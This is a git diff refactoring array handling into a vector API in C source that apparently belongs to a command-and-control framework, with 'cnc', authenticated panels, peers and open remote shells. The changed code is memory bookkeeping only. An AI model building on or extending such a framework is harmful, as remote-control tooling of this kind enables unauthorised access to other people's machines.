diff --git a/cnc/src/cpeer.c b/cnc/src/cpeer.c index 17ca1e2..a911353 100644 --- a/cnc/src/cpeer.c +++ b/cnc/src/cpeer.c @@ -155,7 +155,7 @@ void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void break; case PEER_AUTH: /* check that peer's pubkey is authenticated */ - if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount)) + if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, laikaM_countVector(cnc->authKeys))) LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n"); LAIKA_DEBUG("Accepted authenticated panel %p\n", peer); diff --git a/lib/include/lmem.h b/lib/include/lmem.h index 5118ca1..cc9aad3 100644 --- a/lib/include/lmem.h +++ b/lib/include/lmem.h @@ -55,30 +55,6 @@ name##_COUNT += numElem; \ } while (0); -#define laikaM_growarray(type, buf, needed, count, capacity) \ - if (count + needed >= capacity || buf == NULL) { \ - capacity = (capacity + needed) * GROW_FACTOR; \ - buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \ - } - -/* moves array elements above indx down by numElem, removing numElem elements at indx */ -#define laikaM_rmvarray(buf, count, indx, numElem) \ - do { \ - int _i, _sz = ((count - indx) - numElem); \ - for (_i = 0; _i < _sz; _i++) \ - buf[indx + _i] = buf[indx + numElem + _i]; \ - count -= numElem; \ - } while (0); - -/* moves array elements above indx up by numElem, inserting numElem elements at indx */ -#define laikaM_insertarray(buf, count, indx, numElem) \ - do { \ - int _i; \ - for (_i = count; _i > indx; _i--) \ - buf[_i] = buf[_i - 1]; \ - count += numElem; \ - } while (0); - void *laikaM_realloc(void *buf, size_t sz); #endif \ No newline at end of file diff --git a/shell/include/sclient.h b/shell/include/sclient.h index 206cdb0..c20e354 100644 --- a/shell/include/sclient.h +++ b/shell/include/sclient.h @@ -2,6 +2,7 @@ #define SHELLCLIENT_H #include "hashmap.h" +#include "lmem.h" #include "lpeer.h" #include "lsodium.h" #include "ltask.h" @@ -15,9 +16,7 @@ typedef struct sShell_client struct sLaika_peer *peer; tShell_peer *openShell; /* if not NULL, shell is open on peer */ struct hashmap *peers; - tShell_peer **peerTbl; - int peerTblCount; - int peerTblCap; + laikaM_newVector(tShell_peer *, peerTbl); } tShell_client; #define shellC_isShellOpen(x) (x->openShell != NULL) diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 7def7ff..385d65c 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -217,9 +217,7 @@ void shellC_init(tShell_client *client) client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL); client->openShell = NULL; - client->peerTbl = NULL; - client->peerTblCap = 4; - client->peerTblCount = 0; + laikaM_initVector(client->peerTbl, 4); laikaT_initTaskService(&client->tService); laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client); @@ -254,7 +252,7 @@ void shellC_cleanup(tShell_client *client) laikaT_cleanTaskService(&client->tService); /* free peers */ - for (i = 0; i < client->peerTblCount; i++) { + for (i = 0; i < laikaM_countVector(client->peerTbl); i++) { if (client->peerTbl[i]) shellP_freePeer(client->peerTbl[i]); } @@ -346,16 +344,15 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) { /* find empty ID */ int id; - for (id = 0; id < client->peerTblCount; id++) { + for (id = 0; id < laikaM_countVector(client->peerTbl); id++) { if (client->peerTbl[id] == NULL) /* it's empty! */ break; } - /* if we didn't find an empty id, grow the array */ - if (id == client->peerTblCount) { - laikaM_growarray(tShell_peer *, client->peerTbl, 1, client->peerTblCount, - client->peerTblCap); - client->peerTblCount++; + /* if we didn't find an empty id, grow the array (ID is already set to the correct index) */ + if (id == laikaM_countVector(client->peerTbl)) { + laikaM_growVector(tShell_peer *, client->peerTbl, 1); + laikaM_countVector(client->peerTbl)++; } /* add to peer lookup table */ diff --git a/shell/src/scmd.c b/shell/src/scmd.c index 50e725f..43d2c05 100644 --- a/shell/src/scmd.c +++ b/shell/src/scmd.c @@ -23,7 +23,7 @@ tShell_cmdDef *shellS_findCmd(char *cmd); tShell_peer *shellS_getPeer(tShell_client *client, int id) { - if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL) + if (id < 0 || id >= laikaM_countVector(client->peerTbl) || client->peerTbl[id] == NULL) CMD_ERROR("Not a valid peer ID! [%d]\n", id); return client->peerTbl[id]; @@ -48,7 +48,7 @@ void listPeersCMD(tShell_client *client, int argc, char *argv[]) { int i; - for (i = 0; i < client->peerTblCount; i++) { + for (i = 0; i < laikaM_countVector(client->peerTbl); i++) { if (client->peerTbl[i]) { shellT_printf("%04d ", i); shellP_printInfo(client->peerTbl[i]); @@ -172,11 +172,10 @@ void shellS_cleanupCmds(void) char **shellS_splitCmd(char *cmd, int *argSize) { - int argCount = 0; - int argCap = 4; char *temp; - char **args = NULL; char *arg = cmd; + laikaM_newVector(char *, args); + laikaM_initVector(args, 4); do { /* replace space with NULL terminator */ @@ -192,12 +191,12 @@ char **shellS_splitCmd(char *cmd, int *argSize) *arg++ = '\0'; } - /* insert into our 'args' array */ - laikaM_growarray(char *, args, 1, argCount, argCap); - args[argCount++] = arg; + /* insert into our 'args' vector */ + laikaM_growVector(char *, args, 1); + args[laikaM_countVector(args)++] = arg; } while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */ - *argSize = argCount; + *argSize = laikaM_countVector(args); return args; } diff --git a/shell/src/sterm.c b/shell/src/sterm.c index d9c8118..84c211a 100644 --- a/shell/src/sterm.c +++ b/shell/src/sterm.c @@ -15,8 +15,42 @@ #define cursorBackward(x) printf("\033[%dD", (x)) #define clearLine() printf("\033[2K") +/* =================================[[ DEPRECATED ARRAY API ]]================================== */ + +/* + this whole target needs to be rewritten, so these macros have been embedded here until a + rewrite can be done. this is the only section of the entire codebase that relies too heavily + on these to quickly exchange into the vector api equivalent. there's technically a memory leak + here since the array is never free'd, but since the array is expected to live the entire + lifetime of the program it's safe to leave as-is for now. +*/ + +#define laikaM_growarray(type, buf, needed, count, capacity) \ + if (count + needed >= capacity || buf == NULL) { \ + capacity = (capacity + needed) * GROW_FACTOR; \ + buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \ + } + +/* moves array elements above indx down by numElem, removing numElem elements at indx */ +#define laikaM_rmvarray(buf, count, indx, numElem) \ + do { \ + int _i, _sz = ((count - indx) - numElem); \ + for (_i = 0; _i < _sz; _i++) \ + buf[indx + _i] = buf[indx + numElem + _i]; \ + count -= numElem; \ + } while (0); + +/* moves array elements above indx up by numElem, inserting numElem elements at indx */ +#define laikaM_insertarray(buf, count, indx, numElem) \ + do { \ + int _i; \ + for (_i = count; _i > indx; _i--) \ + buf[_i] = buf[_i - 1]; \ + count += numElem; \ + } while (0); + struct termios orig_termios; -char *cmd, *prompt = "$> "; +char *cmd = NULL, *prompt = "$> "; int cmdCount = 0, cmdCap = 4, cmdCursor = 0; void shellT_conioTerm(void)